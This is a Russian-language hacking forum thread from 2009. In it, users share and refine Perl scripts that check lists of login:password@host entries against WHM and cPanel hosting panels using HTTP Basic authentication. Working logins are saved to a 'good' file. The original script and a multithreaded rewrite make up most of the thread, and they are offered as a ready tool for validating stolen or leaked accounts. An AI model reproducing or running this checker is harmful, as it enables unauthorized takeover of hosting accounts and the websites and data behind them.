[PERL]Simple WHM & Cpanel Checker

Discussion in 'PHP' started by Sharky, 3 Feb 2009.

  1. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    494
    Likes Received:
    312
    Reputations:
    46
    Простенький чекер WHM и CPANEL акков


    Скармливать файл с акками вида:
    login:pass@host.com
    login1:pass1@host1.com
    login2:pass2@host2.com

    PHP:
    #!/usr/bin/perl

    use IO::Socket;
    use 
    MIME::Base64;

    my @acc shared;
    my $i shared;

    $accounts 'accs.txt'#Файл с акками
    $good 'good.txt'#Файл с прочеканными гуд акками
    $port '2086'#WHM - 2086, Cpanel - 2082
    $timeout '5'#Таймаут

    open (ACS"<$accounts");
    @
    acc acc();

    while(@
    acc)
        {    
            {
    lock(@acc);$acc shift @acc;}
    my ($logpass$server) = split(/@/, $acc);
    my ($login$pass) = split(/:/, $logpass);

    $lp $login.":".$pass;
    $nn "\r\n";
    $auth MIME::Base64::encode($lp);

    my $sock = new IO::Socket::INET 
            
    (
            
    PeerAddr => $server,
               
    PeerPort => $port
               
    PeerProto => 'tcp'
               
    TimeOut => $timeout
            
    );
            if(!
    $sock){
                    print 
    "$server - [TIMEOUT]\n"
                 
    }else{

                   
    my $re =  "GET / HTTP/1.1".$nn.
                    
    "Host: ".$server.$nn.
                    
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7".$nn.
                    
    "Pragma: no-cache".$nn.
                    
    "Cache-Control: no-cache".$nn.
                    
    "Authorization: Basic ".$auth.$nn.
                    
    "Connection: Keep-Alive".$nn.$nn;
                    print 
    $sock $re
                    
    sysread ($sockmy $answ400);
                    
    close $sock;

                    if (
    $answ =~ /200/){
                             print 
    "$server - [OK]\n";
                             
    open(FILE">>$good");
                             print 
    FILE "$acc\n";
                             
    close(FILE);
                                  }else{
                             print 
    "$server - [BAD]\n";
                    }
                    {
    lock($i);$i++;}
            }
        }


    sub acc
    {
        
    my (@mas);
        while (<
    ACS>){
        
    push @mas$_;
        }
        
    chomp @mas;
        return @
    mas;
    }
     
    3 people like this.
  2. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    494
    Likes Received:
    312
    Reputations:
    46
    Неужели никто покритиковать не может? :)
     
  3. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    говно
     
    4 people like this.
  4. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    494
    Likes Received:
    312
    Reputations:
    46
    спасибки чаки :)
     
  5. N19hTW0lF

    N19hTW0lF Elder - Старейшина

    Joined:
    11 Jul 2007
    Messages:
    188
    Likes Received:
    140
    Reputations:
    4
    добавь многопоточность
     
    1 person likes this.
  6. demond

    demond Member

    Joined:
    5 Nov 2008
    Messages:
    102
    Likes Received:
    22
    Reputations:
    5
    просили по критиковать, критикую :)

    зачем shared, если потоков нет?
    Code:
    my @acc : shared;
    my $i : shared;
    
    не лучше ли использовать $/ вместо:
    Code:
    $nn = "\r\n";
    Везде нормально, а тут почему то переменные внесены в кавычки!
    Code:
    print "$server - [OK]\n";
    print FILE "$acc\n";
    print "$server - [BAD]\n";
    
    Почему бы не написать так:
    Code:
    print $server." - [OK]".$/;
    print FILE $acc.$/;
    print $server." - [BAD]".$/;
    
     
    #6 demond, 4 Feb 2009
    Last edited: 4 Feb 2009
    1 person likes this.
  7. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    494
    Likes Received:
    312
    Reputations:
    46
    N19hTW0lF, в след версии сделаю
    demond, спасибо в след версии учту ( я только учусь :) )
     
  8. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Вы что задроты так код палировать?
     
  9. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,761
    Likes Received:
    816
    Reputations:
    230
    А это мысль...

    Code:
    #!/usr/bin/perl -w
    use strict;
    use threads;
    use threads::shared;
    use IO::Socket;
    use MIME::Base64();
    use Fcntl ':flock';
    
    my $accounts 	= 'accs.txt'; #Файл с акками login:pass@host
    my $good 	= 'good.txt'; #Файл с прочеканными гуд акками
    my $port 		= '2082'	; #WHM - 2086, Cpanel - 2082
    my $timeout 	= 5		; #Таймаут
    my $threads 	= 1		; #Потоки
    $| 			= 1;
    
    my @trl;
    
    open ACS, "<", $accounts || die $!;
    chomp(my @acc : shared = <ACS>);
    close ACS;
    
    my $size = scalar @acc;
    my $i : shared = 0;
    
    for(0..$threads-1) {$trl[$_] = threads->create(\&check, $_);}
    for(@trl) { $_->join; }
    
    sub check {
     while(@acc)
    	{
    	my ($cred, $host) = split /@/, shift @acc;
    	my $s = sockme($host, $port);
    	next if !$s;
    	my $request = "GET / HTTP/1.0\n".
    				  "Host: $host\n".
    				  "User-Agent: Mozilla/5.0\n".
    				  "Connection: close\n".
    				  "Authorization: Basic ".MIME::Base64::encode($cred)."\n\n";
    	print $s $request;
    	read $s, my $answ, 128;
    	$answ =~ /200 OK/ ? note($cred.':'.$host) : ();
    	
    	{lock($i);$i++;}
    	print "[ ".sprintf("%.2f", ($i/$size)*100)."% ]\r";
    	}
    }
    
    sub note {
     print localtime()." [+] $_[0]\n";
     open F, ">>", $good  || warn $!;
     flock F, 'LOCK_EX';
     print F $_[0]."\n";
     flock F, 'LOCK_UN';
     close F;
    }
    
    sub sockme {
     my $sock = new IO::Socket::INET 
    		(
    		PeerAddr 	=> $_[0],
       		PeerPort 	=> $_[1], 
       		PeerProto 	=> 'tcp', 
       		TimeOut 	=> $timeout,
    		) || warn $!;
     return $sock ? $sock : 0;
    }
    
    Мб есть косяки...
     
    _________________________
    3 people like this.
Loading...